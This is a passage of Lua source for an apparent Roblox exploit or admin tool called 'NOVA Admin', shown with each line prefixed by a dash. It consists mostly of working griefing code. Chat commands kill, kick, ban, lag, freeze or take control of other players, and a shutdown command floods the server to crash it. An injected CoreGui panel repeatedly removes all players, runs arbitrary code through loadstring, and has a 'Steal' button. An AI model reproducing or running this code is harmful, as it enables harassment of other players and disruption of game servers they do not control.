- for _,v in pairs(Jails) do pcall(function() v:Remove() end) end
- for _,v in pairs(workspace:GetChildren()) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
- end
- if string.sub(Msg,1,6) == "/kill/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- v.Character:BreakJoints()
- end)
- end
- end
- if string.sub(Msg,1,6) == "/play/" then
- PlaySound(string.sub(Msg,7))
- end
- if string.sub(Msg,1,6) == "/stop/" then
- StopSounds()
- end
- if string.sub(Msg,1,12) == "/listsounds/" then
- for _,v in pairs(Sounds) do
- OutputSingular(v.Name,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer,#Sounds + 1)
- end
- end
- if string.sub(Msg,1,6) == "/kick/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- v:Remove()
- end)
- end
- end
- if string.sub(Msg,1,5) == "/ban/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- pcall(function()
- v:Destroy()
- table.insert(Banned,v.Name)
- end)
- end
- end
- if string.sub(Msg,1,8) == "/search/" then
- Search = string.sub(Msg,9)
- String = ""
- print("Searching for command "..Search)
- for _,v in pairs(Commands) do
- if string.find(v.Name,Search) then
- print("Result found.")
- Rtn = "Name : "..v.Name..". Desc : "..v.Desc.." Args : "..v.Args.."."
- Rtn = Rtn..string.rep(" ",120-#Rtn)
- String = String..Rtn
- end
- end
- makeMessage(2,String,LocalPlayer.PlayerGui,"Size18")
- end
- if string.sub(Msg,1,6) == "/cmds/" then
- for _,v in pairs(Commands) do
- OutputSingular(v.Name, {Color3.new(math.random(),math.random(),math.random())},LocalPlayer,#Commands+1)
- end
- end
- if string.sub(Msg,1,6) == "/expl/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- E = Instance.new("Explosion",workspace)
- E.Position = v.Character.Torso.Position
- v.Character:BreakJoints()
- end)
- end
- end
- if string.sub(Msg,1,7) == "/admin/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- if LocalPlayer.Name == "absurdskinnyjackb" or LocalPlayer.Name == "SurgenHack" then
- table.insert(Admins,v.Name)
- v.Chatted:connect(function(Rtn) OnChatted(Rtn,v) end)
- end
- end)
- end
- end
- if string.sub(Msg,1,9) == "/unadmin/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,10),LocalPlayer)) do
- pcall(function()
- if LocalPlayer.Name == "absurdskinnyjackb" then
- table.remove(Admins,v.Name)
- end
- end)
- end
- end
- if string.sub(Msg,1,5) == "/lag/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- pcall(function()
- LAG(v)
- end)
- end
- end
- if string.sub(Msg,1,6) == "/ping/" then
- OutputSingular(string.sub(Msg,7),{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- end
- if string.sub(Msg,1,10) == "/shutdown/" then
- Shutdown = Instance.new("StringValue",workspace)
- Shutdown.Value = string.rep("Shutdown",1000000)
- end
- if string.sub(Msg,1,4) == "/ff/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,5),LocalPlayer)) do
- pcall(function()
- Instance.new("ForceField",v.Character)
- end)
- end
- end
- if string.sub(Msg,1,6) == "/nobp/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- v.Backpack:Remove()
- end)
- end
- end
- if string.sub(Msg,1,8) == "/rename/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,9),LocalPlayer)) do
- pcall(function()
- cl=v.Character:clone()
- clonex = cl:clone()
- v.Character:remove()
- clonex.Name = RandomNames[math.random(1,#RandomNames)]
- clonex.Parent = Workspace
- end)
- end
- end
- if string.sub(Msg,1,8) == "/rtools/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,9),LocalPlayer)) do
- pcall(function()
- for _,v in pairs (v.Backpack:GetChildren()) do pcall(function() v:Remove() end) end
- end)
- end
- end
- if string.sub(Msg,1,6) == "/unff/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- for _,Part in pairs(v.Character:GetChildren()) do
- if Part:IsA("ForceField") then
- Part:Remove()
- end
- end
- end)
- end
- end
- if string.sub(Msg,1,5) == "/inf/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- v.Character.Humanoid.MaxHealth = math.huge
- end
- end
- if string.sub(Msg,1,7) == "/lockh/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- v.Character.Humanoid.Changed:connect(function(val)
- if val == "Health" then
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end)
- end
- end
- if string.sub(Msg,1,5) == "/god/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- v.Character.Torso.Touched:connect(function(part)
- if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
- Instance.new("Fire",part).Color = Color3.new(255,255,255)
- Instance.new("Fire",part).Color = Color3.new(255,255,255)
- Instance.new("Fire",part).Color = Color3.new(255,255,255)
- part:BreakJoints()
- part.CanCollide = false
- end
- end)
- end
- end
- if string.sub(Msg,1,5) == "/nil/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- v.Character = nil
- end
- end
- if string.sub(Msg,1,8) == "/punish/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,9),LocalPlayer)) do
- v.Character.Parent = game:GetService("Lighting")
- end
- end
- if string.sub(Msg,1,10) == "/unpunish/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,11),LocalPlayer)) do
- v.Character.Parent = workspace
- v.Character:MakeJoints()
- end
- end
- if string.sub(Msg,1,10) == "/teleport/" then
- Split = nil
- for i=11,100 do
- if string.sub(Msg,i,i) == "/" then
- Split = i
- break
- end
- end
- send = GetPlayers(string.sub(Msg,11,Split - 1),LocalPlayer)
- to = GetPlayers(string.sub(Msg,Split+1),LocalPlayer)
- for _,a in pairs(send) do
- for _,b in pairs(to) do
- pcall(function()
- a.Character.Torso.CFrame = b.Character.Torso.CFrame
- end)
- end
- end
- end
- if string.sub(Msg,1,11) == "/walkspeed/" then
- Split = nil
- for i=12,100 do
- if string.sub(Msg,i,i) == "/" then
- Split = i
- break
- end
- end
- Plyrs = GetPlayers(string.sub(Msg,12,Split - 1),LocalPlayer)
- for _,v in pairs(Plyrs) do
- pcall(function()
- v.Character.Humanoid.WalkSpeed = string.sub(Msg,Split + 1)
- end)
- end
- end
- if string.sub(Msg,1,8) == "/freeze/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,9),LocalPlayer)) do
- pcall(function()
- for _,part in pairs(v.Character:GetChildren()) do
- pcall(function()
- part.Anchored = true
- end)
- end
- end)
- end
- end
- if string.sub(Msg,1,6) == "/thaw/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- for _,part in pairs(v.Character:GetChildren()) do
- pcall(function()
- part.Anchored = false
- end)
- end
- end)
- end
- end
- if string.sub(Msg,1,6) == "/nova/" then
- NOVAClear()
- end
- if string.sub(Msg,1,9) == "/respawn/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,10),LocalPlayer)) do
- pcall(function()
- local ack2 = Instance.new("Model")
- ack2.Parent = game.Workspace
- local ack4 = Instance.new("Part")
- ack4.Transparency = 1
- ack4.CanCollide = false
- ack4.Anchored = true
- ack4.Name = "Torso"
- ack4.Position = Vector3.new(10000,10000,10000)
- ack4.Parent = ack2
- local ack3 = Instance.new("Humanoid")
- ack3.Torso = ack4
- ack3.Parent = ack2
- v.Character = ack2
- end)
- end
- end
- if string.sub(Msg,1,4) == "/rs/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,5),LocalPlayer)) do
- pcall(function()
- local ack2 = Instance.new("Model")
- ack2.Parent = game.Workspace
- local ack4 = Instance.new("Part")
- ack4.Transparency = 1
- ack4.CanCollide = false
- ack4.Anchored = true
- ack4.Name = "Torso"
- ack4.Position = Vector3.new(10000,10000,10000)
- ack4.Parent = ack2
- local ack3 = Instance.new("Humanoid")
- ack3.Torso = ack4
- ack3.Parent = ack2
- v.Character = ack2
- end)
- end
- end
- if string.sub(Msg,1,6) == "/nuke/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- Nuke(v.Character.Torso.Position)
- end)
- end
- end
- if string.sub(Msg,1,7) == "/trans/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("BasePart") then
- coroutine.resume(coroutine.create(function()
- for i=1,10 do
- wait()
- v.Transparency = v.Transparency + 0.1
- end
- end))
- end
- if v:IsA("Hat") then
- coroutine.resume(coroutine.create(function()
- for i=1,10 do
- wait()
- v.Handle.Transparency = v.Handle.Transparency + 0.1
- end
- end))
- end
- end
- end)
- end
- end
- if string.sub(Msg,1,9) == "/visible/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,10),LocalPlayer)) do
- pcall(function()
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("BasePart") then
- coroutine.resume(coroutine.create(function()
- for i=1,10 do
- wait()
- v.Transparency = v.Transparency - 0.1
- end
- end))
- end
- if v:IsA("Hat") then
- coroutine.resume(coroutine.create(function()
- for i=1,10 do
- wait()
- v.Handle.Transparency = v.Handle.Transparency - 0.1
- end
- end))
- end
- end
- end)
- end
- end
- if string.sub(Msg,1,7) == "/rhats/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("Hat") then v:Remove() end
- end
- end)
- end
- end
- if string.sub(Msg,1,6) == "/jail/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- Jail(v.Character.Torso,v.Name)
- end)
- end
- end
- if string.sub(Msg,1,8) == "/unjail/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,9),LocalPlayer)) do
- pcall(function()
- for _,v in pairs(Jails) do
- if v.Player == v.Name then
- pcall(function()
- v.Jail:Remove()
- end)
- end
- end
- end)
- end
- end
- if string.sub(Msg,1,9) == "/destroy/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,10),LocalPlayer)) do
- pcall(function()
- v:Destroy()
- end)
- end
- end
- if string.sub(Msg,1,5) == "/fog/" then
- if string.sub(Msg,6,9) == "end/" then
- game:service("Lighting").FogEnd = string.sub(Msg,10)
- elseif string.sub(Msg,6,11) == "start/" then
- game:service("Lighting").FogStart = string.sub(Msg,12)
- elseif string.sub(Msg,6,11) == "color/" then
- if string.sub(Msg,12) == "black" then
- game:service("Lighting").FogColor = Color3.new(0,0,0)
- elseif string.sub(Msg,12) == "white" then
- game:service("Lighting").FogColor = Color3.new(1,1,1)
- elseif string.sub(Msg,12) == "red" then
- game:service("Lighting").FogColor = Color3.new(1,0,0)
- end
- end
- end
- if string.sub(Msg,1,6) == "/rhum/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- v.Character.Humanoid:Remove()
- end)
- end
- end
- if string.sub(Msg,1,6) == "/fire/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- Instance.new("Fire",v.Character.Torso)
- end)
- end
- end
- if string.sub(Msg,1,12) == "/changeteam/" then
- Split = nil
- for i=13,100 do
- if string.sub(Msg,i,i) == "/" then
- Split = i
- break
- end
- end
- for _,v in pairs(GetPlayers(string.sub(Msg,13,Split - 1),LocalPlayer)) do
- pcall(function()
- Team = nil
- for _,find in pairs(game:GetService("Teams"):GetChildren()) do
- if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.sub(Msg,Split+1) then
- Team = find
- end
- end
- v.TeamColor = Team.TeamColor
- end)
- end
- end
- if string.sub(Msg,1,10) == "/kicktalk/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,11),LocalPlayer)) do
- pcall(function()
- game:GetService("Chat"):Chat(v.Character.Head,"If i talk i will be kicked.",math.random(0,2))
- v.Chatted:connect(function() pcall(function() v:Remove() end) end)
- end)
- end
- end
- if string.sub(Msg,1,10) == "/killtalk/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,11),LocalPlayer)) do
- pcall(function()
- game:GetService("Chat"):Chat(v.Character.Head,"If i talk i will die.",math.random(0,2))
- v.Chatted:connect(function()pcall(function() v.Character:BreakJoints() end) end)
- end)
- end
- end
- if string.sub(Msg,1,8) == "/unfire/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,9),LocalPlayer)) do
- pcall(function()
- v.Character.Torso.Fire:Remove()
- end)
- end
- end
- if string.sub(Msg,1,6) == "/time/" then
- game.Lighting.TimeOfDay = Msg:sub(7)
- end
- if string.sub(Msg,1,6) == "/talk/" then
- for _,v in pairs(Players:GetPlayers()) do
- pcall(function()
- game:GetService("Chat"):Chat(v.Character.Head,string.sub(Msg,7),math.random(0,2))
- end)
- end
- end
- if string.sub(Msg,1,5) == "/sit/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- pcall(function()
- v.Character.Humanoid.Sit = true
- end)
- end
- end
- if string.sub(Msg,1,7) == "/stand/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- v.Character.Humanoid.Sit = false
- end)
- end
- end
- if string.sub(Msg,1,4) == "/ps/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,5),LocalPlayer)) do
- pcall(function()
- v.Character.Humanoid.PlatformStand = true
- end)
- end
- end
- if string.sub(Msg,1,5) == "/nbc/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- pcall(function()
- v.MembershipTypeReplicate = 0
- end)
- end
- end
- if string.sub(Msg,1,4) == "/bc/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,5),LocalPlayer)) do
- pcall(function()
- v.MembershipTypeReplicate = 1
- end)
- end
- end
- if string.sub(Msg,1,5) == "/tbc/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,6),LocalPlayer)) do
- pcall(function()
- v.MembershipTypeReplicate = 2
- end)
- end
- end
- if string.sub(Msg,1,7) == "/nhm/" then
- pcall(function() LocalPlayer.Head.Mesh:Remove() end)
- end
- if string.sub(Msg,1,5) == "/obc/" then
- for i,v in pairs(game.Players:GetPlayers()) do
- pcall(function()
- v.MembershipTypeReplicate = 3
- end)
- end
- end
- if string.sub(Msg,1,6) == "/unps/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,7),LocalPlayer)) do
- pcall(function()
- v.Character.Humanoid.PlatformStand = false
- end)
- end
- end
- if string.sub(Msg,1,5) == "/go/" then
- LocalPlayer:remove()
- end
- if string.sub(Msg,1,5) == "/up/" then
- pcall(function() LocalPlayer.Character:Remove() end)
- LocalPlayer.Character = nil
- end
- if string.sub(Msg,1,10) == "/antifall/" then
- if string.sub(Msg,11) == "on" then AntiFall = true end
- if string.sub(Msg,11) == "off" then AntiFall = false end
- end
- if string.sub(Msg,1,9) == "/control/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,10),LocalPlayer)) do
- pcall(function()
- LocalPlayer.Character = v.Character
- end)
- end
- end
- if string.sub(Msg,1,5) == "/antilag/" then
- LocalPlayer.DescendantAdded:connect(function(v)
- if v:IsA("Message") or v:IsA("Hint") then
- v:Remove()
- end end)
- workspace.CurrentCamera.DescendantAdded:connect(function(v)
- if v:IsA("Message") or v:IsA("Hint") then
- v:Remove()
- end end)
- end
- if string.sub(Msg,1,7) == "/teams/" then
- if string.sub(Msg,8,11) == "add/" then
- print'Creating a team'
- Team = Instance.new("Team",game:GetService("Teams"))
- Team.Name = string.sub(Msg,12)
- Team.TeamColor = BrickColor.new(math.random(),math.random(),math.random())
- Team.AutoAssignable = false
- end
- if string.sub(Msg,8,14) == "remove/" then
- if string.sub(Msg,15) == "all" then
- for _,v in pairs(Teams:GetChildren()) do v:Remove() end
- else
- for _,v in pairs(Teams:GetChildren()) do
- if string.sub(v.Name,1,#string.sub(Msg,15)) == string.sub(Msg,16) then
- v:Remove()
- end
- end
- end
- end
- end
- if string.sub(Msg,1,7) == "/check/" then
- OutputSingular("Total indexed scripts : "..#Indexed,{Color3.new(0.2,1,0.2)},LocalPlayer)
- end
- -- End of OnChatted
- end
- -- End of OnChatted
- pn= LocalPlayer.Name
- LocalPlayer.Chatted:connect(function(msg) OnChatted(msg,LocalPlayer) end)
- for _,Player in pairs(Players:GetPlayers()) do
- if IsBanned(Player) then
- pcall(function()
- Player:Destroy()
- end)
- end
- end
- Players.PlayerAdded:connect(function(Player)
- Output(Player.Name.." has joined.",{Color3.new(0,1,0)},LocalPlayer)
- if IsBanned(Player) then
- Output("Banned user "..Player.Name.." has been denied.",{Color3.new(0,1,0)},LocalPlayer)
- pcall(function()
- Player:Destroy()
- end)
- end
- end)
- Players.PlayerRemoving:connect(function(Player)
- Output(Player.Name.." has left.",{Color3.new(1,0,0)},LocalPlayer)
- end)
- coroutine.resume(coroutine.create(function()
- print("Loading...")
- S = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
- F = Instance.new("Frame",S)
- F.Size = UDim2.new(0,0,0,0)
- F.Position = UDim2.new(0.35,0,0.2,0)
- F.Style = "RobloxRound"
- Text = Instance.new("TextLabel",F)
- Text.Size = UDim2.new(1,0,0.2,0)
- Text.BackgroundTransparency = 1
- Text.FontSize = "Size36"
- Text.TextWrap = true
- Text.TextColor3 = Color3.new(1,1,1)
- Text.Text = "System"
- Text.TextTransparency = 1
- Text2 = Instance.new("TextLabel",F)
- Text2.Size = UDim2.new(1,0,0.8,0)
- Text2.Position = UDim2.new(0,0,0.2,0)
- Text2.BackgroundTransparency = 1
- Text2.FontSize = "Size18"
- Text2.TextWrap = true
- Text2.TextColor3 = Color3.new(1,1,1)
- Text2.Text = "NOVA Admin by Norwegianbunny has successfully been installed to your player."
- Text2.TextTransparency = 1
- F:TweenSize(UDim2.new(0.3,0,0.5,0),"InOut","Quart",2)
- wait(2)
- for i=1,0,-0.1 do
- wait()
- Text.TextTransparency = i
- Text2.TextTransparency = i
- end
- wait(1.5)
- for i=0,1,0.1 do
- wait()
- Text.TextTransparency = i
- Text2.TextTransparency = i
- end
- F:TweenSize(UDim2.new(0,0,0,0),"Out","Quad",0.5)
- wait(0.5)
- S:Remove()
- end))
- Output("You're an admin!",{Color3.new(1,0,0)},LocalPlayer)
- Output("NOVA Admin Client "..Version.." loaded sucuessfully.",{Color3.new(1,0,0)},LocalPlayer)
- print("NOVA Admin loaded.")
- coroutine.resume(coroutine.create(function()
- while true do wait()
- if Removed == false then
- if AntiFall == true then
- pcall(function()
- if game.Players.LocalPlayer.Character.Torso.CFrame.Y < 1 then
- game.Players.LocalPlayer.Character.Torso.CFrame = CFrame.new(0,50,0)
- end
- end)
- end
- UpdateTablets()
- end
- end
- end))
- ]]
- local s=function(type)
- return game:service(type)
- end
- wfp=function(Instance,Property)
- while not Instance[Property]do Instance.Changed:wait''end
- return Instance[Property]
- end
- wfo=function(i,p,n)
- while 0 do
- for i,v in pairs(i:children'')do
- if v[p]==n then return v end
- end
- i.ChildAdded:wait''
- end
- end
- CreateScript=function(Class,Parent,Text)
- if#Scripts~=2 then FIXSCRIPTS''end
- local Script=Scripts[Class]:clone''
- local Work=Instance.new('StringValue',Script)
- Work.Name='Change'
- Work.Value=[[script.Change.Value='']]..Text
- Script.Parent=Parent
- return Script
- end
- pf=function(Name)
- local Players={}
- local name=Name:lower''
- for i,v in pairs(s'Players':GetPlayers'')do
- if(function()
- if name=='me'then return v==Player
- elseif name=='all'then return true
- end
- return v.Name:lower'':find(name)==1
- end)()then
- table.insert(Players,v)
- end
- end
- return Players
- end
- SearchCommand=function(Text)
- X(function()
- local cmd=Text:match'(%w+)'
- local asd={}
- if not cmd then return end
- local cmdf=Commands[cmd]
- if not cmdf then return end
- pcall(function()
- Text='/'..Text:match(cmd..'(.+)')
- for i in Text:gmatch'/([^/]+)'do table.insert(asd,i)end
- end)
- cmdf(Text:sub(2),asd)
- end)
- end
- GetAll=function(Instance,Table)
- if type(Table)~='table'then Table={}end
- for i,v in pairs(Instance:children'')do
- table.insert(Table,v)
- GetAll(v,Table)
- end
- return Table
- end
- ctool=function(name)
- local ntool=Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
- ntool.Name = name
- return ntool;
- end
- FindChildren=function(Instance,Property,Name)
- local l={}
- for i,v in pairs(GetAll(Instance))do
- if v[Property]==Name then table.insert(l,v)end
- end
- return l
- end
- SaveFModel=function(i,n)
- local connect
- local insert=s'InsertService'
- local model=Instance.new'Model'
- local object=nil
- connect=insert.DescendantAdded:connect(function(c)
- if object then return end
- c=c:clone''
- if c.Name==n then
- object=c
- else
- object=c:FindFirstChild(n)
- end
- if not object then return end
- connect:disconnect''
- end)
- insert:LoadAsset(i)
- while not object do model.ChildAdded:wait''end
- return object
- end
- FIXSCRIPTS=function()
- Scripts={Script=SaveFModel(65743611,'9999999999222');LocalScript=SaveFModel(65743629,'9999999999222')}
- end
- CommanderFocus=function()
- if ShowBox.Value then return end
- if not ChatButton.Visible then return end
- ShowBox.Value=true
- X(function()ChatBox:CaptureFocus''end)
- end
- CommandBar=function()
- CommanderName='AMACCG'
- CommanderScreen=Instance.new('ScreenGui',PlayerGui)
- CommanderScreen.Name=CommanderName
- ChatButton=Instance.new('TextButton',CommanderScreen)
- ChatBox=Instance.new('TextBox',ChatButton)
- ChatButton.Size=UDim2.new(1,0,0,17)
- ChatButton.Position=UDim2.new(0,0,1,-17)
- ChatButton.BackgroundColor3=Color3.new(0,0,0)
- ChatButton.TextColor3=Color3.new(1,1,1)
- ChatButton.TextXAlignment=0
- ChatButton.FontSize=5
- ChatButton.Font=2
- ChatButton.AutoButtonColor=false
- ChatButton.Text='Click here or press "\\" to use commander'
- ChatBox.Size=UDim2.new(1,0,1)
- ChatBox.Position=UDim2.new(0,0,1,-17)
- ChatBox.BackgroundColor3=Color3.new(.6,0,0)
- ChatBox.TextColor3=Color3.new(1,1,1)
- ChatBox.TextXAlignment=0
- ChatBox.FontSize=5
- ChatBox.Font=2
- ChatBox.Visible=ShowBox.Value
- ChatBox.Text=''
- table.insert(Connects,ChatButton.MouseButton1Down:connect(CommanderFocus))
- ChatBox.Changed:connect(function(f)
- if f~='Text'then return end
- SearchCommand(ChatBox.Text)
- ShowBox.Value=false
- end)
- ShowBox.Changed:connect(function(c)ChatBox.Visible=c end)
- for i,v in pairs(PlayerGui:children'')do
- if v.Name==CommanderName and v~=CommanderScreen then
- pcall(v.remove,v)
- end
- end
- end
- ExproGui=function()
- local edb = Instance.new("TextButton")
- edb.Size = UDim2.new(.05, 0, .05, 0)
- edb.Position = UDim2.new(0, 5, 0.5, -80);
- edb.TextColor3 = Color3.new(1, 1, 1)
- edb.MouseButton1Click:connect(function()
- insrt = game:GetService("InsertService"):LoadAsset(21001552)
- insrt2 = game:GetService("InsertService"):LoadAsset(35742089)
- pcall(function()
- for _, v in pairs(insrt:GetChildren()) do
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- for _, v in pairs(insrt2:GetChildren()) do
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end)
- end)
- edb.Text = "Insert"
- edb.Parent = game.CoreGui.RobloxGui
- edb.Style = "RobloxButtonDefault"
- edb.Draggable = true
- local pb = Instance.new("TextButton")
- pb.Size = UDim2.new(.05, 0, .05, 0)
- pb.Position = UDim2.new(0, 5, 0.5, -25);
- pb.Draggable = true
- pb.TextColor3 = Color3.new(1, 1, 1)
- pb.MouseButton1Click:connect(function()
- local p=Instance.new("Part");
- p.Name = "RAWR"
- p.BrickColor = BrickColor.Random()
- p.Material = ((math.random(1, 2) == 1) and "Ice") or "Wood";
- p.CFrame = CFrame.new(math.random(-60, 60), (game.PlaceId == 41324860 and 350 or 60), math.random(-60, 60));
- p.formFactor = "Custom"
- p.Size = Vector3.new(0.5, math.random(2, 40)/10, 0.5)
- p.Parent = workspace
- end)
- pb.Text = "Make part"
- pb.Style = "RobloxButtonDefault"
- pb.Parent = game.CoreGui.RobloxGui
- function getAll(obj)
- for i, v in pairs(obj:getChildren()) do
- if v:IsA("BasePart") then
- v.Anchored = false
- v.BrickColor = BrickColor.new(0)
- bv = Instance.new("BodyVelocity")
- bv.Parent = v
- bv.maxForce = Vector3.new(100000000,100000000,100000000)
- end
- getAll(v)
- end
- end
- function exPro(root)
- for _, v in pairs(root:GetChildren()) do
- if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset?id=123827470" then
- v.Parent = nil
- elseif v:IsA("BasePart") then
- v.Material = "Plastic"
- v.Transparency = .5
- One = Instance.new("Decal", v)
- Two = Instance.new("Decal", v)
- Three = Instance.new("Decal", v)
- Four = Instance.new("Decal", v)
- Five = Instance.new("Decal", v)
- Six = Instance.new("Decal", v)
- One.Texture = "http://www.roblox.com/asset?id=123827470"
- Two.Texture = "http://www.roblox.com/asset?id=123827470"
- Three.Texture = "http://www.roblox.com/asset?id=123827470"
- Four.Texture = "http://www.roblox.com/asset?id=123827470"
- Five.Texture = "http://www.roblox.com/asset?id=123827470"
- Six.Texture = "http://www.roblox.com/asset?id=123827470"
- One.Face = "Front"
- Two.Face = "Back"
- Three.Face = "Right"
- Four.Face = "Left"
- Five.Face = "Top"
- Six.Face = "Bottom"
- end
- exPro(v)
- end
- end
- local DoD = Instance.new("TextButton", game.CoreGui.RobloxGui)
- DoD.Size = UDim2.new(.05, 0, .05, 0)
- DoD.Position = UDim2.new(0, 5, 0.5, 70);
- DoD.Text = "DoD"
- DoD.TextColor3 = Color3.new(1, 1, 1)
- DoD.Style = "RobloxButtonDefault"
- DoD.Draggable = true
- DoD.MouseButton1Click:connect(function()
- getAll(workspace)
- game.Lighting.TimeOfDay = "07:00:00"
- game.Lighting.Ambient = Color3.new(0,0,0)
- sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=123485087"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=123485087"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=123485087"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=123485087"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=123485087"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=123485087"
- end)
- Shutdown = Instance.new("TextButton", game.CoreGui.RobloxGui)
- Shutdown.Size = UDim2.new(.05, 0, .05, 0)
- Shutdown.Position = UDim2.new(0, 5, 0.5, 110)
- Shutdown.Text = "Shutdown"
- Shutdown.TextColor3 = Color3.new(1, 1, 1)
- Shutdown.Style = "RobloxButtonDefault"
- Shutdown.Draggable = true
- Shutdown.MouseButton1Click:connect(function()
- coroutine.resume(coroutine.create(function()
- while wait() do
- for _, v in pairs(game.Players:GetPlayers()) do
- v.Parent = nil
- end
- end
- end))
- end)
- ExPro = Instance.new("TextButton", game.CoreGui.RobloxGui)
- ExPro.Size = UDim2.new(.05, 0, .05, 0)
- ExPro.Position = UDim2.new(0, 5, 0.5, 150)
- ExPro.Text = "TeamTokens"
- ExPro.TextColor3 = Color3.new(1, 1, 1)
- ExPro.Style = "RobloxButtonDefault"
- ExPro.Draggable = true
- ExPro.MouseButton1Click:connect(function()
- exPro(workspace)
- end)
- ScriptFrame = Instance.new("Frame", game.CoreGui.RobloxGui)
- ScriptFrame.Size = UDim2.new(0.5, 0, 0.75, 0)
- ScriptFrame.Position = UDim2.new(0.300000012, 0, 0.200000003, 0)
- ScriptFrame.Active = true
- ScriptFrame.Draggable = true
- ScriptFrame.Style = "RobloxRound"
- Panel = Instance.new("TextBox", ScriptFrame)
- Panel.BackgroundColor3 = Color3.new(1, 1, 1)
- Panel.ClearTextOnFocus = true --Change to false if you want easy script edit
- Panel.FontSize = "Size9"
- Panel.MultiLine = true
- Panel.Position = UDim2.new(0, 0, 0.100000001, 0)
- Panel.Size = UDim2.new(1, 0, 0.899999976, 0)
- Panel.BorderSizePixel = 0
- Panel.Text = ""
- Panel.TextWrap = true
- Panel.TextXAlignment = "Left"
- Panel.TextYAlignment = "Top"
- ExecuteButton = Instance.new("TextButton", ScriptFrame)
- ExecuteButton.Font = "ArialBold"
- ExecuteButton.FontSize = "Size12"
- ExecuteButton.Text = "Execute"
- ExecuteButton.Size = UDim2.new(.3, 0, .05, 0)
- ExecuteButton.Style = "RobloxButtonDefault"
- ExecuteButton.TextColor3 = Color3.new(1, 1, 1)
- ExecuteButton.TextYAlignment = "Center"
- ExecuteButton.TextXAlignment = "Center"
- ExecuteButton.MouseButton1Click:connect(function()
- local func = loadstring(Panel.Text) or function() end
- pcall(function()
- coroutine.resume(coroutine.create(func))
- end)
- end)
- StealText = Instance.new("TextBox", game.CoreGui.RobloxGui)
- StealText.BackgroundColor3 = Color3.new(1, 1, 1)
- StealText.ClearTextOnFocus = false
- StealText.Font = "ArialBold"
- StealText.FontSize = "Size11"
- StealText.Position = UDim2.new(0, 0, 0.879999995, 0)
- StealText.Size = UDim2.new(0.100000001, 0, 0.0500000007, 0)
- StealText.Text = ""
- StealButton = Instance.new("TextButton", game.CoreGui.RobloxGui)
- StealButton.Font = "ArialBold"
- StealButton.FontSize = "Size12"
- StealButton.Text = "Steal"
- StealButton.Position = UDim2.new(0.100000001, 0, 0.879999995, 0)
- StealButton.Size = UDim2.new(0.0700000003, 0, 0.0500000007, 0)
- StealButton.TextColor3 = Color3.new(1, 1, 1)
